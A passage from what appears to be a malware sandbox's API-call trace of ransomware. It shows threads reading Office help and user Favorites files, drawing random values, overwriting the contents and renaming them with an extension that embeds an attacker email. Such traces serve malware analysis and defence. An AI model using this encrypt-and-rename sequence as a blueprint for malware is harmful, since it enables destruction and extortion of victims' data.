CurrentTime=0x160df9b8*=132174898290444000) returned 0x0 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x104073fe [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x2ff14cf2 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0xf6ba060 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x17638065 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x4dd67213 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x51df2229 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x3ce6be2a [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x2cc03cdd [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x37282287 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x49ffc9b [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x2e295233 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0xe9beb90 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x51f32e4f [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0xc55859d [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x4bb14354 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x7d46a536 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x5a7bb833 [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x155f3e1d [0065.060] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x5cbd7371 [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x6c56f4d6 [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x35b864e [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x2748066a [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x48c192c0 [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x287535bd [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x7447d209 [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x125c009d [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x19ee840b [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x2cbe4cf5 [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x6e2960f7 [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x1126a401 [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x3eb481e8 [0065.061] RtlRandomEx (in: Seed=0x160df9c4 | out: Seed=0x160df9c4) returned 0x69ef0847 [0065.073] ReadFile (in: hFile=0xe94, lpBuffer=0x12bf2810, nNumberOfBytesToRead=0x186, lpNumberOfBytesRead=0x160df9b4, lpOverlapped=0x0 | out: lpBuffer=0x12bf2810*, lpNumberOfBytesRead=0x160df9b4*=0x186, lpOverlapped=0x0) returned 1 [0065.073] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.073] WriteFile (hFile=0xe94, lpBuffer=0x12bff018, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x160df9b0, lpOverlapped=0x0) Thread: id = 868 os_tid = 0x116c [0051.762] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn")) Thread: id = 869 os_tid = 0x1170 [0051.762] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn")) returned 0x20 [0064.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0064.536] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0064.536] GetLastError () returned 0x2 [0064.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0064.536] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08618) returned 1 Thread: id = 870 os_tid = 0x1174 [0051.763] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn")) returned 0x20 [0064.532] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0064.532] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0064.532] GetLastError () returned 0x2 [0064.532] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0064.532] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5f58) returned 1 Thread: id = 871 os_tid = 0x1178 [0051.763] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn")) returned 0x2022 [0055.509] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0062.423] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8f8 [0062.424] GetFileSizeEx (in: hFile=0x8f8, lpFileSize=0x1646fdfc | out: lpFileSize=0x1646fdfc*=332) returned 1 [0062.424] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.424] ReadFile (in: hFile=0x8f8, lpBuffer=0x1646fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1646fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1646fd80*, lpNumberOfBytesRead=0x1646fd7c*=0x4, lpOverlapped=0x0) returned 1 [0062.425] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8cb0 [0062.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c10 [0062.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9868 [0062.425] NtQuerySystemTime (in: CurrentTime=0x1646fd5c | out: CurrentTime=0x1646fd5c*=132174898264080000) returned 0x0 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x698af851 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x7520f6e5 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x1ef16c7f [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x5308f026 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x1a16affb [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x382ada63 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x730f13f0 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x68ab584c [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x2a76fc6c [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x50eef980 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x1906931c [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0xc6a8a9f [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x46be29e0 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x67a9cc61 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x7f6a6a0c [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x43aea399 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x24d9bf9e [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x338b106f [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x773396d2 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x3d89a7c8 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x1e1a1825 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x14100552 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x1285d96d [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x163c69d6 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x19390db0 [0062.425] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x5bfad698 [0062.426] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x5440930 [0062.426] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x2d9fdd21 [0062.426] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x180968d8 [0062.426] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0xcfca4c6 [0062.426] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x3a24026 [0062.426] RtlRandomEx (in: Seed=0x1646fd68 | out: Seed=0x1646fd68) returned 0x5f0f2b03 [0062.437] ReadFile (in: hFile=0x8f8, lpBuffer=0x194d0048, nNumberOfBytesToRead=0x14c, lpNumberOfBytesRead=0x1646fd58, lpOverlapped=0x0 | out: lpBuffer=0x194d0048*, lpNumberOfBytesRead=0x1646fd58*=0x14c, lpOverlapped=0x0) returned 1 [0062.437] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.437] WriteFile (in: hFile=0x8f8, lpBuffer=0x5eab8a0*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x1646fd54, lpOverlapped=0x0 | out: lpBuffer=0x5eab8a0*, lpNumberOfBytesWritten=0x1646fd54*=0x14c, lpOverlapped=0x0) returned 1 [0062.810] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4291b0 [0062.810] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429070 [0062.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0062.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eab8a0) returned 1 [0062.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194d0048) returned 1 [0062.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0062.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b58) returned 1 [0062.810] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4a6420 [0062.810] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.810] WriteFile (in: hFile=0x8f8, lpBuffer=0x4448c8*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x1646fdbc, lpOverlapped=0x0 | out: lpBuffer=0x4448c8*, lpNumberOfBytesWritten=0x1646fdbc*=0x11b, lpOverlapped=0x0) returned 1 [0062.858] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4448c8) returned 1 [0063.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6460) returned 1 [0063.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0063.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6420) returned 1 [0063.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291b0) returned 1 [0063.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c10) returned 1 [0063.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8be8) returned 1 [0063.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8bc0) returned 1 [0063.395] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02960 [0063.395] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" [0063.395] wcscat (in: _Dest=0x5e02960, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d" [0063.395] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1646fd74, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.395] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d460 [0063.397] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.397] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.397] NtQueryInformationFile (in: FileHandle=0x8f8, IoStatusBlock=0x1646fd80, FileInformation=0x1646fd58, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1646fd80, FileInformation=0x1646fd58) returned 0x0 [0063.397] NtSetInformationFile (FileHandle=0x8f8, IoStatusBlock=0x1646fd80, FileInformation=0x1646fd58, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02960) returned 1 [0063.398] FlushFileBuffers (hFile=0x8f8) returned 1 [0066.223] CloseHandle (hObject=0x8f8) Thread: id = 872 os_tid = 0x117c [0051.763] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn")) Thread: id = 873 os_tid = 0x1180 [0051.764] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn")) Thread: id = 874 os_tid = 0x1184 [0051.764] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn")) Thread: id = 875 os_tid = 0x1188 [0051.765] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn")) Thread: id = 876 os_tid = 0x118c [0051.765] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn")) Thread: id = 877 os_tid = 0x1190 [0051.765] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn")) Thread: id = 878 os_tid = 0x1194 [0051.766] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn")) Thread: id = 879 os_tid = 0x1198 [0051.766] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn")) returned 0x20 [0065.547] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn", dwFileAttributes=0x20) Thread: id = 880 os_tid = 0x119c [0051.766] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn")) returned 0x20 [0065.547] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn", dwFileAttributes=0x20) Thread: id = 881 os_tid = 0x11a0 [0051.767] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn")) Thread: id = 882 os_tid = 0x11a4 [0051.767] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn")) Thread: id = 883 os_tid = 0x11a8 [0051.767] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn")) Thread: id = 884 os_tid = 0x11ac [0051.768] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn")) Thread: id = 885 os_tid = 0x11b0 [0051.768] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn")) Thread: id = 886 os_tid = 0x11b4 [0051.769] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn")) Thread: id = 887 os_tid = 0x11b8 [0051.769] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn")) Thread: id = 888 os_tid = 0x11bc [0051.770] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn")) Thread: id = 889 os_tid = 0x11c0 [0051.770] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn")) returned 0x2022 [0062.245] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.546] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x155c [0065.546] GetFileSizeEx (in: hFile=0x155c, lpFileSize=0x16ebfad0 | out: lpFileSize=0x16ebfad0*=392) returned 1 [0065.546] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.546] ReadFile (hFile=0x155c, lpBuffer=0x16ebfa54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x16ebfa50, lpOverlapped=0x0) Thread: id = 890 os_tid = 0x11c4 [0051.923] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn")) returned 0x20 [0065.541] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn", dwFileAttributes=0x20) Thread: id = 891 os_tid = 0x11c8 [0051.923] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url")) returned 0x20 [0051.924] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", dwFileAttributes=0x20) returned 1 [0060.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xff4 [0060.176] GetFileSizeEx (in: hFile=0xff4, lpFileSize=0x572f884 | out: lpFileSize=0x572f884*=133) returned 1 [0060.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d054f8 [0060.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05570 [0060.176] NtQuerySystemTime (in: CurrentTime=0x572f7e4 | out: CurrentTime=0x572f7e4*=132174898241616000) returned 0x0 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x10dce7ea [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x5abfe3e8 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x1c05cda2 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x692d84fb [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x351763b0 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x3daa8fd9 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x52d84152 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x730bb17c [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x1b9997c2 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x5507f6e0 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x7e1d358e [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x95855f4 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x6c6f8795 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x5a5c1695 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x27614a1b [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x39ef48e1 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x234ef355 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x47fcdb7c [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x1e147853 [0060.176] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x4c9d1d3b [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x3336ea57 [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x26c3ae6e [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x339d3e9a [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x50f6db4d [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x2a62a58a [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x1acca60f [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x29c58a8c [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x24bdc251 [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x7978a5c [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x2a01e279 [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0x753af86a [0060.177] RtlRandomEx (in: Seed=0x572f7f0 | out: Seed=0x572f7f0) returned 0xec2d5e6 [0060.189] ReadFile (in: hFile=0xff4, lpBuffer=0x12c630f8, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x572f7e0, lpOverlapped=0x0 | out: lpBuffer=0x12c630f8*, lpNumberOfBytesRead=0x572f7e0*=0x85, lpOverlapped=0x0) returned 1 [0060.190] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.190] WriteFile (in: hFile=0xff4, lpBuffer=0x12c6f900*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x572f7dc, lpOverlapped=0x0 | out: lpBuffer=0x12c6f900*, 